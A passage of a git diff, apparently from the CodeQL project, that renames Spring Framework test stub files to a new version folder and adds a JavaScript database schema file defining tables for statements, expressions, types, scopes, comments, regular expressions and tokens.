diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriBuilderFactory.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriBuilderFactory.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriBuilderFactory.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriBuilderFactory.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriComponents.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriComponents.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriComponents.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriComponents.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriComponentsBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriComponentsBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriComponentsBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriComponentsBuilder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriTemplate.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriTemplate.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriTemplate.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriTemplate.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriTemplateHandler.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriTemplateHandler.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriTemplateHandler.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriTemplateHandler.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UrlPathHelper.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UrlPathHelper.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UrlPathHelper.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UrlPathHelper.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/WebUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/WebUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/WebUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/WebUtils.java
diff --git a/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme b/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme
new file mode 100644
index 000000000000..5b5db607d20c
--- /dev/null
+++ b/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme
@@ -0,0 +1,1193 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape
+| 28 = @regexp_quoted_string
+| 29 = @regexp_intersection
+| 30 = @regexp_subtraction;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
